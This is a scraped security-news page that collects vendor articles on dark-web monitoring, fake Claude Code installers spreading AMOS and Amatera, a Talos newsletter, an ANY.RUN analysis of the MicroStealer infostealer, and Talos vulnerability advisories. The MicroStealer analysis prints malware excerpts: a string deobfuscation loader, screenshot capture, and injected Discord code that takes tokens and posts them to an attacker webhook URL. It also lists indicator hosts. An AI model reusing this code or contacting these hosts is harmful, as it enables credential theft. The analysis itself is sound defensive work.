In 2026, the cyber threat landscape has become more complex and dangerous than ever. Attackers no longer operate only on the surface web; they now lurk in encrypted networks, underground marketplaces, and anonymous forums across the dark web, where stolen credentials are traded, breaches are planned, and cyberattacks take shape.
Recent data from Cyble Research and Intelligence Labs (CRIL) shows the scale of this threat. In 2025 alone, Cyble tracked 6,046 global data breach and leak incidents, with sectors such as government and finance among the most targeted. The research has also identified thousands of enterprise credentials circulating on dark web marketplaces, often harvested by infostealer malware and sold to cybercriminals.
For organizations that want to protect sensitive data, maintain reputation, and reduce operational risk, investing in dark web intelligence and dark web monitoring solutions is no longer optional; it’s a necessity.
What Is Dark Web Monitoring and Why It Matters in 2026
Dark web monitoring involves continuous scanning and intelligence gathering from hidden parts of the internet that aren’t indexed by traditional search engines, including TOR, I2P, ZeroNet, and encrypted chat channels. Cybercriminals use these platforms to trade stolen data, discuss exploits, and plan attacks.
Effective dark web surveillance allows organizations to detect threats early. By identifying stolen credentials, leaked data, and malicious activity before the attacker acts, security teams can reset passwords, notify affected personnel, and fortify defenses, turning reactive security into a proactive advantage.
How the Dark Web Has Evolved as a Threat Landscape
Once considered a fringe network, the dark web has become a structured ecosystem for cybercrime. Threat actors collaborate globally with the same levels of sophistication as legitimate enterprises, complete with forums for selling vulnerabilities, reputation systems for traders, and encrypted channels for planning attacks.
From ransomware kits to stolen databases and insider trading in sensitive corporate data, the dark web now functions as a hub for criminal collaboration and the commercialization of cyberattacks. Organizations that ignore this underground economy risk being blindsided.
What Kind of Data Ends Up on the Dark Web
Not all information on the dark web carries the same risk, but much of it is highly sensitive:
Breached corporate databases: Financial, HR, and client information
Identity documents: Social Security numbers, passports
Internal communications or proprietary IP
Even seemingly minor leaks, if unnoticed, can be exploited for data breaches. Platforms with data leak monitoring and dark web alerts allow teams to act before these threats escalate.
How Dark Web Monitoring Works
Modern dark web monitoring relies on a combination of automated technologies and expert analysis. Tools crawl hidden networks, marketplaces, paste sites, and private forums to collect data. AI and machine learning analyze signals, identify patterns of malicious behavior, and provide cyber threat intelligence in actionable formats.
Key capabilities include:
Deep web and dark web scanning: Covering TOR, I2P, and other hidden networks
Threat actor tracking: Linking chatter to known malicious entities
Natural Language Processing (NLP): Interpreting unstructured forum text
Actionable alerts: Prioritized intelligence for immediate response
This ensures organizations can anticipate threats rather than merely respond after an incident.
Key Features to Look for in a Dark Web Monitoring Solution
In 2026, an effective platform should offer:
Continuous, real-time scanning
Comprehensive monitoring of marketplaces, forums, and paste sites
Automated alerts with remediation guidance
Integration with existing cybersecurity systems
Reporting for compliance and risk assessment
Threat actor profiling and predictive analytics
Solutions lacking contextual intelligence or actionable insights are insufficient for modern threat landscapes.
Cyble Hawk for Advanced Threat Intelligence and Protection
To counter cyber threats from advanced adversaries, Cyble Hawk represents the next generation of dark web monitoring and threat intelligence. Beyond merely detecting leaks, Cyble Hawk tracks threat actors, uncovers emerging attack trends, and provides actionable insights across cyber and physical domains.
Key advantages of Cyble Hawk include:
Deep Intelligence Fusion: Integrates open-source and proprietary intelligence for a 360-degree view of threats.
AI & Deep Learning: Identifies threat actors and patterns in real time.
Real-Time Alerts & Rapid Response: Immediate notifications for compromised credentials, breaches, and vulnerabilities.
Incident Response & Resilience: Supports frameworks to continuously strengthen the cybersecurity posture.
Cyble Hawk doesn’t just monitor; it empowers organizations to detect, respond, and protect against the most advanced cyber threats before they escalate.
Dark Web Monitoring Across Industries
Different sectors face unique exposures, and tailored monitoring is critical:
Manufacturing & Critical Infrastructure: Track trade-secret exposure and APT activity
Government & Public Sector: Detect contractor data leaks, APT campaigns, and impersonation threats
Building a Dark Web Monitoring Strategy in 2026
A robust strategy combines continuous monitoring with proactive response:
Asset Prioritization: Identify the most critical data, accounts, and intellectual property
Continuous Intelligence Gathering: Real-time scanning of forums, marketplaces, and paste sites
Automated, Actionable Alerts: Ensure teams can respond quickly to compromised assets
Integration with Cybersecurity Infrastructure: Link dark web intelligence with firewalls, identity protection, and incident response tools
Employee Awareness: Educate staff to recognize phishing and social engineering attempts
This approach transforms dark web intelligence into a defensive advantage, reducing exposure and operational risk.
Frequently Asked Questions (FAQs)
Q.1: What is dark web intelligence?
Intelligence is collected from unindexed networks and underground forums to detect threats, leaked data, or compromised credentials.
Q.2: Can dark web monitoring prevent attacks?
It doesn’t prevent breaches outright, but early detection of leaks or malicious activity enables mitigation before exploitation.
Q.3: Who should use dark web monitoring?
Any organization handling sensitive data, including enterprises, government agencies, and financial institutions.
Q.4: How does Cyble Hawk enhance monitoring?
By combining AI, threat actor tracking, and real-time alerts, Cyble Hawk delivers actionable intelligence that allows organizations to detect, respond, and fortify defenses effectively.
Conclusion
In 2026, the dark web remains one of the most dynamic and high-risk areas of the cyber threat landscape. Organizations can no longer afford to rely on reactive security. By leveraging advanced monitoring platforms like Cyble Hawk, security teams gain early visibility into compromised data, track threat actors, and respond to risks before they escalate into major incidents.
Cyble Hawk combines AI-driven intelligence, real-time alerts, and expert threat analysis to help organizations detect threats faster and strengthen their cybersecurity posture. Schedule a personalized demo to see Cyble Hawk in action and learn how it can help protect your organization’s critical assets.
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2026-03-13 08:06:402026-03-13 08:06:40The Ultimate Guide to Dark Web Monitoring in 2026: Protect Your Data Before Attackers Strike
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2026-03-13 02:08:172026-03-13 02:08:17Cyber fallout from the Iran war: What to have on your radar
We recently discussed how malicious actors are spreading the AMOS infostealer for macOS via Google Ads, leveraging a chat with an AI assistant on the actual OpenAI website to host malicious instructions. We decided to dig a little deeper, only to discover several similar malicious campaigns where attackers attempt to slip users malware disguised as popular AI tools through Google Search ads. If the victims are searching for macOS-specific tools, the payload deployed is the very same AMOS; if they’re on Windows, it’s the Amatera infostealer instead. These campaigns use the popular Chinese AI Doubao, the viral AI assistant OpenClaw, or the coding assistant Claude Code as bait. This means such campaigns pose a threat not only to home users but also to organizations.
The reality is that corporate employees are increasingly using coding assistants like Claude Code, and workflow automation agents like OpenClaw. This brings its own set of risks, which is why many organizations have yet to officially approve (or pay for) access to such tools. Consequently, some employees take matters into their own hands to find these trendy tools, and head straight to Google. They type in a search query and are served a sponsored link leading to a malicious installation guide. Let’s take a closer look at how this attack plays out, using a Claude Code distribution campaign discovered in early March as an example.
The search query
So, a user starts looking for a place to download the Anthropic agent and types something like “Claude Code download” into the search bar. The search engine returns a list of links, with “sponsored links” (paid advertisements) sitting at the top. One of these ads leads the user to a malicious page featuring fake documentation. Interestingly, the site itself is built on Squarespace, a legitimate website builder that helps it bypass anti-phishing filters.
Search results with ads in Romania and Brazil
The attackers’ site meticulously mimics the original Claude Code documentation, complete with installation instructions. Just like the real deal, it prompts the user to copy and run a command. However, once executed, it installs not an AI agent but malware. Essentially, this is just another flavor of the ClickFix attack — one that has earned its own nickname: InstallFix.
Malicious site mimicking installation instructions
Genuine Claude Code site with installation instructions
Malicious payload
Just like with the original Claude Code, the command for macOS attempts to install an application using the curl command-line utility. In reality, it deploys the AMOS spyware — previously described by our experts on Securelist — which was used in a similar past campaign.
In the case of Windows, the malware is installed using the system utility mshta.exe, which executes HTML-based applications instead of curl, which is used for the genuine Claude Code. This utility deploys the Amatera infostealer, which harvests browser data, crypto-wallet info, as well as information from the user folder, and sends it to a remote server at 144{.}124.235.102.
How to keep your company safe
Interest in AI agents continues to grow, and the emergence of new tools and their rising popularity are creating fresh attack vectors. Specifically, attempting to seek out third-party AI tools can not only jeopardize the source code of projects on the victim’s computer but also lead to the compromise of secrets, confidential corporate files, and user accounts.
To prevent this from happening, the first step should be educating employees about these dangers and the tricks used by threat actors. This can be done using our training platform: Kaspersky Automated Security Awareness. Incidentally, it includes a specialized lesson on the use of AI in corporate environments.
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2026-03-12 19:06:382026-03-12 19:06:38AMOS and Amatera disguised as AI agents | Kaspersky official blog
Welcome to this week’s edition of the Threat Source newsletter.
I am the product of a single parent, my mom, who along with my grandparents helped raise me into the man I am today. I cannot fathom what it took for my mom, who worked three jobs to put herself through college to be a teacher, to struggle through it. My grandparents did some heavy lifting here, helping with me as a kid as my mom worked long hours and earned her bachelor’s degree.
I didn’t see as much of my mom as I wanted — but in her third job where she cleaned offices on the weekend, I would often go with her and help. It got me out of the house, let me spend time with my mom, and afterwards we’d have a meal together. Shout out to the Taco Bell dollar menu, which was all we could afford. It took me well into my thirties to understand how important that time we shared was, even as I took out garbage, cleaned bathrooms, and complained the entire time.
So why am I waxing nostalgic for my childhood janitorial days? Role models. My mom is certainly one. We also recently recognized International Women’s Day here at Talos, and I couldn’t help but think of the sacrifices and hard work my mom did to ensure I had food and clothing and was loved. It caused me to reflect on the women who work in my career space, especially here at Cisco. What parallels exist? What don’t I know about? How can I be an ally? I had previously observed that cybersecurity is a male-dominated field, but I hadn’t really dug into any data to support that. It also made me wonder: What other STEM fields suffered from a lack of, or had successes in, gender diversity?
So I did some homework to better understand. Some sobering stats:
Pay gaps. Whooo buddy. There’s a $7,000 pay gap in the U.S ($5,400 globally) between men and women in cybersecurity, and it gets even worse if you are Black, Indigenous, and a Person of Color (BIPOC).
Well, that was depressing. I knew it wasn’t great, but geez.
Even though I’m a bit slow, I did find some good news. There are a lot of fantastic organizations, programs, and scholarships to help women attain skills and get great jobs in STEM, especially in cybersecurity. I’m quite partial to CTFs and competitions in this space — it’s valuable hands-on experience, and having fun hacking stuff in a safe and inclusive space is fantastic. I’m also fond of Women in Cybersecurity (WiCyS). I’ve been fortunate to do WiCyS mentorship here in Cisco, and it was an awesome experience.
Should you find yourself in a position to mentor someone that would add diversity into our career space, do it! It is incredibly rewarding. A diversity of thoughts and lived experiences make us and those we protect safer — which is what we do all day, every day here in Talos.
The one big thing
On Tuesday, March 10, Talos updated our blog on the developing situation in the Middle East. We continue to monitor the evolving cyber threat landscape associated with the conflict and collect tactics, techniques, and procedures (TTPs); threat actor identifiers; and other intelligence to help inform defensive efforts and maintain situational awareness.
Though select hacktivist operations are highlighted in the blog, hundreds of attacks have been claimed by numerous collectives since the beginning of the conflict. Talos cautions against accepting these claims at face value, emphasizing that defenders should independently verify them since older leaks and previously public information can be used to influence perceptions.
Why do I care?
Cyber operations are likely to play a supporting but strategically significant role in the ongoing conflict. Iranian-aligned groups are employing network-based intrusions to target adversary infrastructure and advance strategic objectives.
Destructive malware can present a direct threat to an organization’s daily operations, impacting the availability of critical assets and data. Disruptive cyberattacks against organizations in a target country may unintentionally spill over to organizations in other countries. A more active hacktivist landscape inherently increases the threat of DDoS and website defacement attacks, as hundreds of attacks have been claimed by numerous collectives since the beginning of the conflict.
So now what?
Organizations should increase vigilance and evaluate their capabilities encompassing planning, preparation, detection, and response for destructive malware. Consider minimizing the amount and sensitivity of data that is available to external parties. To improve defenses against DDoS attacks, ensure your organization has a business continuity plan in place, assess external attack surfaces, and confirm that critical systems have healthy, usable backups. For website defacement/redirect protection, ensure that websites are protected against the most commonly exploited security vulnerabilities.
Defenders should ensure security fundamentals are being adhered to, such as robust patching for known vulnerabilities and requiring multi-factor authentication (MFA) for remote access and on critical services. Network security teams should proactively monitor their traffic for APT-associated IP addresses and implement hardening guidelines.
We will update this blog with IOCs and further developments accordingly.
Top security headlines of the week
Russian government hackers targeting Signal and WhatsApp users, Dutch spies warn Two agencies accused “Russian state actors” of using phishing and social engineering techniques — rather than malware — to take over accounts on the two messaging apps. (TechCrunch)
FBI investigating“suspicious”cyber activities on critical surveillance network The FBI has identified a suspected cybersecurity incident on a sensitive network used to manage wiretaps and intelligence surveillance warrants. Officials are working to determine the seriousness of the incident. (CNN)
TriZetto confirmsyear-long hack of its network exposed records on3.4M people Until recently, the total number of impacted individuals was unknown. According to a recent filing with the Office of the Maine Attorney General, the breach likely initially occurred on November 19, 2024. (HealthExec)
“InstallFix” attacks spread fake Claude Code sites A fresh cyber attack campaign blends malvertising with a ClickFix-style technique that highlights risky behavior with AI coding assistants and command-line interfaces. (Dark Reading)
ClickFixattack uses Windows Terminal to evade detection Victims are instructed to open Windows Terminal directly, instead of relying on the Windows Run dialog. The new approach, observed in the wild in February, allows attackers to bypass protections designed to prevent Run dialog abuse. (Dark Reading)
Can’t get enough Talos?
It’s the B+ Team: Matt Olney returns Matt is back to talk with the crew about about the most random things, including TikTok diagnosing us with ADHD, K-Pop Demon Hunters, ransomware in hospitals (the serious bit), attacker use of AI, and why 1999-era tricks are still undefeated.
Modernizing your threat hunt David Bianco joins Amy to explore the evolution of the PEAK Threat Hunting framework and talk through how security teams can modernize their approach to identifying risks before they escalate.
Spinning complex ideas into clear docs with Kri Dontje Kri and Amy discuss the importance of consistency, accuracy, and accessibility in documentation; how to get the most out of a subject matter expert-technical writer relationship; and the surprising connection between weaving and binary code.
Agentic AI security This blog emphasizes the importance of robust risk management and threat modeling to defend against both internal operational errors and potential malicious exploitation.
Security teams depend on early signals to spot and contain new threats. But what happens when a fully capable infostealer spreads while traditional detections stay limited?
In recent investigations, ANY.RUN researchers observed MicroStealer in 40+ sandbox sessions in less than a month, despite low public visibility. Early activity points to distribution through compromised or impersonated accounts, with education and telecommunications among the affected sectors.
MicroStealer is more than just another stealer. It targets browser credentials, session data, screenshots, and wallet files while using a layered NSIS → Electron → Java delivery chain that can slow confident detection.
Let’s break down how MicroStealer operates and how its behavior can be uncovered early in ANY.RUN’s interactive sandbox, helping teams shorten time to verdict, reduce unnecessary escalations, and prevent credential theft from becoming a business impact.
Key Takeaways
MicroStealer exposes a broader business risk by stealing browser credentials, active sessions, and other sensitive data tied to corporate access.
The malware uses a layered NSIS → Electron → JAR chain that helps it stay unclear longer and slows confident detection.
Distribution through compromised or impersonated accounts makes the initial infection look more trustworthy to victims.
For enterprises, the main danger is delayed visibility while identity compromise and data theft are already in progress.
Behavior-based analysis is critical for confirming the threat quickly and reducing time to containment.
The Business Risk Behind MicroStealer
For security leaders, MicroStealer reflects a threat designed to steal identity data, maintain access, and increase the chance of a wider enterprise incident.
Corporate identities become exposed: Browser credential theft and session cookie extraction compromise SaaS accounts, internal portals, VPN sessions, and cloud administration access tied to employee browsers.
Privilege expansion becomes possible: Access to authentication tokens, browser sessions, and system credentials creates a path from a single compromised endpoint to privileged accounts and internal systems.
Stealthy access persists longer: Stolen session data allows attackers to operate through valid user sessions, blending malicious activity with legitimate traffic across enterprise services.
Data loss begins immediately: Screenshots, browser data, wallet files, and application artifacts are collected and exfiltrated through multiple channels, ensuring sensitive information leaves the environment quickly.
Attackers gain reconnaissance value: Profiling of Discord and Steam accounts provides intelligence about the victim’s activity, helping attackers prioritize higher-value targets.
For CISOs, MicroStealer highlights a familiar enterprise risk: attackers can use stolen identities, stealthy delivery methods, and fast data theft to stay undetected, expand access inside the environment, and increase the risk of operational, compliance, and reputational damage.
Gain earlier visibility into emerging threats Reduce the risk of corporate credential compromise
Over the following period, its activity continued to grow, and at the time of analysis it had already been identified in more than 40 sandbox sessions in less than one month, indicating an active distributionphase.
However, despite the malware’s growing popularity, security vendors are still not detecting MicroStealer.
Security vendors don’t flag the file as malicious
The highest concentration of detections was observed between January 7 and January 11, when 20 sandbox sessions containing MicroStealer activity were recorded. This suggests that MicroStealer is gaining traction.
Catch emerging threats in under 60 seconds
Reduce time to verdict with clear behavioral evidence
When the “Download Now” button is clicked, a JavaScript file is executed. It downloads a malicious file from Dropbox and sends the victim’s external IP address, region, OS version, and time zone to a Discord server.
This basic information serves as a beacon. However, if the downloaded malicious file is executed, MicroStealer steals data from web browser profiles, takes desktop screenshots, and sends the collected data as an archive to two destinations: a Discord server and a newly registered exfiltration server.
In this way, the stealer increases the chances that the stolen data will reach the attacker even if one of the servers becomes unavailable for some reason.
MicroStealer also uses the same name in its User-Agent header during the first GET request to Discord:
User-Agent: MicroStealer/1.0
In addition to Dropbox, there were also cases where the sample was downloaded from other sources, for example: cdn[.]discordapp[.]com
Victimology and Targeting
Analysis of MicroStealer-related submissions to the ANY.RUN sandbox shows that 50% of observed sample uploads originated from the United States and Germany, pointing to notable activity in these regions.
Based on the observed cases, the education and telecommunications sectors appear to face elevated exposure.
ANY.RUN’s TI Lookup shows the risk score by industry and submission countries
The distribution pattern also suggests that threat actors rely on compromised or impersonated accounts to deliver the malware, increasing the likelihood that victims will trust the source and execute the payload.
See if emerging threats are targeting your industry and region Strengthen proactive defense with TI Lookup
The ANY.RUN sandbox provides a clear overview of the MicroStealer execution chain and detects the malware’s primary behavioral patterns, making it easier to begin the analysis.
Running the MicroStealer Sample in ANY.RUN
To better understand how each component operates, the analysis proceeds with static analysis. The first stage in the infection chain is RocobeSetup.exe.
RocobeSetup is an NSIS installer (Nullsoft Scriptable Install System), which becomes immediately apparent when analyzing the binary using Detect It Easy (DIE) (Detect It Easy).
Sample analysis in Detect It Easy
Since the installer has an archive structure, its contents can be inspected without executing the malware or using specialized analysis tools.
Analysis of the NSIS Installer contents
Among the files, the next stage in the infection chain can already be identified: Game Launcher.exe. The analysis then moves on to the other directories within the archive.
Inside the resource directory, two ASAR archives(Atom Shell Archive) can be found: app.asar and app.asar.unpacked. The latter contains the **main stealer module, an executable JAR file, along with a Java Runtime Environment (JRE), packaged inside the archive module.zip.
Analysis of the ASAR archive contents
After unpacking app.asar using a standard ASAR unpacker, a small Node.js component becomes visible.
Analysis and unpacking of app.asar
Static Analysis of the Node.js Component
At this stage, the focus shifts to the main script located in index.js. Opening it in a text editor immediately reveals multiple signs of obfuscation, including compressed strings, constants grouped into arrays, flattened control flow, and dead code.
The next step is to analyze the string handling logic, since strings are used extensively throughout the program and can help reconstruct the malware’s execution flow.
To understand how the malware retrieves the strings it needs, let us examine the following code block:
var wa4Ibtk;
(function () {
function* mjAYxpv(mjAYxpv, JbBfOsP, PXuU6i, Tky9na = {
rwLytg: {}
}) {
while (mjAYxpv + JbBfOsP + PXuU6i !== 124) with(Tky9na.bWzSK3 || Tky9na) switch (mjAYxpv + JbBfOsP + PXuU6i) {
default:
[Tky9na.rwLytg.sZF0hF, Tky9na.rwLytg.MtsKAJ, Tky9na.rwLytg.AggjBE] = [-57, -181, 104];
Tky9na.bWzSK3 = Tky9na.TDHlw5, mjAYxpv += -134, JbBfOsP += 290, PXuU6i += 145;
break;
case 162:
case PXuU6i - -62:
Tky9na.bWzSK3 = Tky9na.Q6N0rF, mjAYxpv += -340, JbBfOsP += 290;
break;
case Tky9na.rwLytg.AggjBE + -186:
Tky9na.bWzSK3 = Tky9na.IQz1SBX, mjAYxpv += -211, JbBfOsP += 290;
break;
case -216:
case 9:
case -78:
case 60:
case PXuU6i - 190:
case -96:
[Tky9na.rwLytg.sZF0hF, Tky9na.rwLytg.MtsKAJ, Tky9na.rwLytg.AggjBE] = [-62, 172, 231];
rwLytg.DDXChP = "ɡⱃ¼ǀ⼡砫\ư祘ഀΠ䌡渡洀ં䊡䚐ɰଊ‥<䜀ྀᕩö (...truncated)";
rwLytg.tuWPH66 = cIb9x8P.decompressFromUTF16(rwLytg.DDXChP);
Tky9na.bWzSK3 = Tky9na.rwLytg, mjAYxpv += -83, JbBfOsP += 227, PXuU6i += -441;
break;
case 40:
case 235:
case mjAYxpv - -42:
Tky9na.rwLytg.zxxO0HE = tuWPH66.split("|");
return oh5cES = !0, wa4Ibtk = function (mjAYxpv) {
return zxxO0HE[mjAYxpv]
}
}
}
var oh5cES, JbBfOsP = mjAYxpv(-31, -159, 415).next().value;
if (oh5cES) {
return JbBfOsP
}
})();
As we can see, all strings are combined and compressed using the LZ-String library into a single sequence of Unicode characters, stored in the variable DDXChP (for example, “ɡⱃ¼ǀ⼡砫ư祘ഀΠ䌡渡洀…”).
To restore them, the malware uses the decompressFromUTF16 method: rwLytg.tuWPH66 = cIb9x8P.decompressFromUTF16(rwLytg.DDXChP);
This means that the value stored in DDXChP is the result of UTF-16-based compression. The obfuscator may reference the library under a different name, such as cIb9x8P, but the logic remains the same: the original string data is reconstructed from the compressed sequence.
After decompression, the resulting string is split using the | delimiter: Tky9na.rwLytg.zxxO0HE = tuWPH66.split(“|”);
A specific string is then retrieved by index through a getter function:
wa4Ibtk = function (mjAYxpv) {
return zxxO0HE[mjAYxpv];
};
Later, the malware references these strings through calls such as wa4Ibtk(3), wa4Ibtk(7), and wa4Ibtk(11), where the argument represents an index in the zxxO0HE array.
After removing the unnecessary junk code, this logic can be represented in the following simplified form:
var GetString;
(function InitializeStringTable() {
var compressed = "ɡⱃ¼ǀ⼡砫\ư祘ഀΠ䌡渡洀 (...truncated)";
var decompressed = lzObject.decompressFromUTF16(compressed);
stringTable = decompressed.split("|");
GetString = function (index) {
return stringTable[index];
};
})();
Next, we copy the lzObject implementation from the target script and run the resulting function in a separate script. This makes it possible to extract all strings used by the program. Since the total number of recovered strings is quite large, only some of the most interesting examples are shown below, along with their indices.
Note that many strings are truncated and concatenated directly in the code. Their full values are provided in parentheses:
The malware then extracts an embedded JRE, disguises the executable as miicrosoft.exe, launches the JAR file in the background, and immediately terminates the main Node.js process, allowing the payload to continue running independently.
Confirm real attacker activity faster
Prevent suspicious files from turning into enterprise incidents
As part of its execution chain, the malware also attempts to obtain elevated privileges. This stage is not analyzed in detail here, as it relies primarily on social engineering: the victim is simply presented with a UAC prompt that is likely to be perceived as a normal part of the installation process.
The PowerShell script used for this step is shown below:
At this stage, the role of Game Launcher.exe becomes clear. The presence of the resources directory containing an ASAR archive and a Node.js project indicates the use of Electron. Analysis in Ghidra confirms this: a modal window prompts to load electron.pdb, and both the strings and the entry point contain characteristic Electron artifacts.
Strings from the Electron framework in the disassembler confirm that Electron is used in the binary.
Ultimately, Game Launcher.exe is an Electron application used as part of the malware delivery chain. The execution flow is as follows:
NSIS (RocobeSetup.exe): An archive installer containing the malicious payload
Electron (Game Launcher.exe): Requests administrator privileges through UAC
Electron (Game Launcher.exe –install): Extracts and launches the JAR file
Java (miicrosoft.exe -jar soft.jar): Executes the main malicious logic
The combination of an NSIS installer and Electron significantly complicates the static analysis of the malware. Electron can directly read and execute JavaScript code from an ASAR archive without extracting it to the file system, bypassing traditional signature-based detection mechanisms.
At the same time, the NSIS installer ensures that the malicious files remain unavailable for analysis or detection until the installer itself finishes execution.
Static Analysis of the Java Module
The next step is to analyze the main module by loading the JAR file into a disassembler. Once again, we encounter obfuscated code; this time on the Java side. As with the Node.js component, the strings are encrypted and recovered through helper functions. A representative fragment is shown below:
After identifying this characteristic pattern, we examined the header of the .class file to look for traces of the obfuscator in use, and immediately found ZKM (Zelix KlassMaster) v21.0.0.
The presence of the ZKM (Zelix KlassMaster) v21.0.0 obfuscator string in the Java class constant pool confirms its use
There are already several effective public deobfuscators available for this version of ZKM. In this case, Threadtear was used with a set of ZKM-focused modules, including string deobfuscation, access restoration, flow deobfuscation, and several additional modules for bytecode cleanup. After successful deobfuscation, the analysis proceeded to the malware’s core functionality.
Overview of MicroStealer Capabilities
After deobfuscation, the code became significantly more readable, although not entirely; some parts of the logic still remain convoluted. Even so, the core functionality of MicroStealer is already open to analysis. Let us look at its modules in more detail:
Persistence
Persistence is implemented through the Windows Task Scheduler:
The command creates a task in Windows Task Scheduler with the ONLOGON trigger (executed when the user logs in), a 5-second delay, and highest privileges (HIGHEST). As a result, the malwareautomatically resumes operation even after the system is rebooted.
Virtual Machine Detection
MicroStealer checks the execution environment for processes and services typically associated with virtual machines. If at least one match is found, execution is terminated immediately.
Despite these anti-analysis checks, the sample executes successfully in the ANY.RUN sandbox, allowing its behavior to be fully exposed during analysis.
Stop paying for incidents that could be prevented
Expose threats that bypass traditional security controls
MicroStealer supports a wide range of Chromium-based browsers, as well as Opera and Opera GX. For each detected browser, it accesses the user’s profile data and then extracts protected information using Windows DPAPI.
When LSA protection is disabled (RunAsPPL = 0), the malware attempts to obtain elevated privileges by interacting with the lsass.exe process. It enables SeDebugPrivilege, searches for LSASS in the process list, and then duplicates its security token and impersonates the token in the current thread:
The malware captures the user’s current screen using java.awt.Robot. The resulting image is saved in PNG format and then packaged into a ZIP archive for later exfiltration.
Robot robot = new Robot();
Rectangle screen = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());
BufferedImage screenshot = robot.createScreenCapture(screen);
ImageIO.write(screenshot, "png", new File("screenshot.png"));
Additional MicroStealer Functionality
MicroStealer targets both browser-based cryptocurrency wallet extensions (via Local Extension Settings) and desktop wallet applications. The wallet files are copied in full, without any additional processing.
JavaScript code is injected into the Discord desktop application, using Webpack Chunk Injection to access internal client modules and the Chrome DevTools Protocol (CDP) to intercept network requests and monitor user activity.
const { session, BrowserWindow } = require('electron');
const C = { webhook: { url: 'https://78smp.com/m/' } };
// token extraction from webpack
window.webpackChunkdiscord_app.push([
[Math.random()], {},
(r) => {
for (const mid in r.c) {
const getToken = r.c[mid]?.exports?.default?.getToken;
if (typeof getToken === 'function') return getToken();
}
}
]);
// CDP-based network interception
w.webContents.debugger.attach('1.3');
w.webContents.debugger.on('message', async (_, m, p) => {
// /auth/login, /mfa/totp, /users/@me// exfiltration to Discord webhook
});
The malware intercepts events related to logins, credential changes, 2FA enablement, and the addition of payment methods such as Stripe and Braintree/PayPal. In addition, it collects account metadata such as badges, Nitro level, and similar attributes, which may indicate an attempt to profile victims.
Steam Account Profiling
The malware also collects information about the victim’s Steam account. Using a hardcoded API key, the stealer queries the Steam Web API to retrieve the profile level, number of owned games, and account creation date.
While this information does not provide direct access to the account on its own, it may be used to assess the victim’s value and prioritize targets, similarly to the profiling observed in Discord.
Detecting MicroStealer Early: A Practical Investigation Loop
MicroStealer highlights a familiar problem for many security teams: new malware families often appear before reliable signatures or threat intelligence become widely available.
When that happens, defenders are left with suspicious files, unclear alerts, and limited external context. Without fast verification, attackers can quietly collect credentials, session tokens, and other sensitive data while investigations stall.
Early detection depends on how quickly a team can move from uncertain signals to confirmed malicious behavior.
1. Monitoring: Spot Suspicious Infrastructure Early
Infostealers often rely on external services and fresh infrastructure for data exfiltration. In the case of MicroStealer, stolen information is transmitted through Discord webhooks and attacker-controlled servers.
Monitoring for newly observed infrastructure and suspicious connections can help teams catch early signs of compromise before the malware fully completes its collection and exfiltration stages.
ANY.RUN’s Threat Intelligence Feeds continuously surface newly observed indicators based on telemetry and submissions from 15,000+ organizations and 600,000+ security professionals.
100% actionable IOCs delivered by TI Feeds to your existing stack
For SOC teams, this means fewer blind spots in monitoring and earlier visibility into suspicious domains, IPs, and attacker infrastructure.
99% unique threat data for your SOC Catch attacks early to protect your business
New malware families like MicroStealer often lack clear static signatures or reliable reputation data, which slows down traditional investigation workflows.
Instead of relying only on static verdicts, analysts can quickly confirm what a suspicious file actually does by executing it in a controlled environment.
3. Threat Hunting: Expand Detection from One Sample
Once a stealer like MicroStealer is confirmed, the next step is ensuring it does not appear elsewhere in the environment.
Using Threat Intelligence Lookup, analysts can pivot from the initial indicators to discover related infrastructure, connected samples, and similar activity patterns.
ANY.RUN TI Lookup demonstrates relevant sandbox sessions with MicroStealer
By pivoting across infrastructure and behavior, organizations can transform a single investigation into broader detection coverage across the environment.
Conclusion: Faster Clarity Means Lower Risk
MicroStealer demonstrates how modern infostealers combine layered delivery chains, heavy obfuscation, and anti-analysis techniques to slow down detection.
However, even complex malware becomes manageable when teams can quickly move from uncertain alerts to clear behavioral evidence.
By combining early monitoring, fast behavioral triage, and targeted threat hunting, security teams can uncover emerging threats faster, reduce investigation time, and limit the risk of data theft inside corporate environments.
ANY.RUN, a leading provider of interactive malware analysis and threat intelligence solutions, fits naturally into modern SOC workflows and supports investigations from initial alert to final containment.
The platform allows teams to safely execute suspicious files and URLs, observe real behavior in an interactive environment, enrich indicators with immediate context through TI Lookup, and continuously monitor emerging infrastructure using Threat Intelligence Feeds. Together, these capabilities help reduce uncertainty, accelerate triage, and limit unnecessary escalations across the SOC.
ANY.RUN also meets enterprise security and compliance expectations. The company is SOC 2 Type II certified, reinforcing its commitment to protecting customer data and maintaining strong security controls.
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2026-03-12 10:08:302026-03-12 10:08:30MicroStealer Analysis: A Fast-Spreading Infostealer with Limited Detection
Cisco Talos’ Vulnerability Discovery & Research team recently disclosed vulnerabilities in the BioSig Project Libbiosig library and OpenCFD OpenFOAM, as well as an unpatched vulnerability in Microsoft DirectX.
For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website.
Microsoft DirectX local privilege escalation vulnerability
Discovered by KPC of Cisco Talos.
The Microsoft DirectX End-User Runtime installs runtime libraries from the legacy DirectX SDK for some certain games. It comes pre-installed on Windows XP Service Pack 2, Windows Server 2003 Service Pack 1, Windows Vista, Windows 7, Windows 8.0, Windows 8.1, Windows 10, and Windows Server equivalents.
Talos discovered a local privilege escalation vulnerability in the installation process of DirectX End-User Runtime: TALOS-2025-2293 (CVE-2025-68623). A low-privileged user can replace an executable file during the installation process, which may result in unintended elevation of privileges.
OpenFOAM arbitrary code execution vulnerability
Discovered by Dimitrios Tatsis of Cisco Talos.
OpenFOAM is an open-source computational fluid dynamics (CFD) software developed primarily by OpenCFD Ltd.
Talos discoveredTALOS-2025-2292 (CVE-2025-61982), an arbitrary code execution vulnerability in the Code Stream directive functionality of OpenCFD OpenFOAM 2506. A specially crafted OpenFOAM simulation file can lead to arbitrary code execution. An attacker can provide a malicious file to trigger this vulnerability.
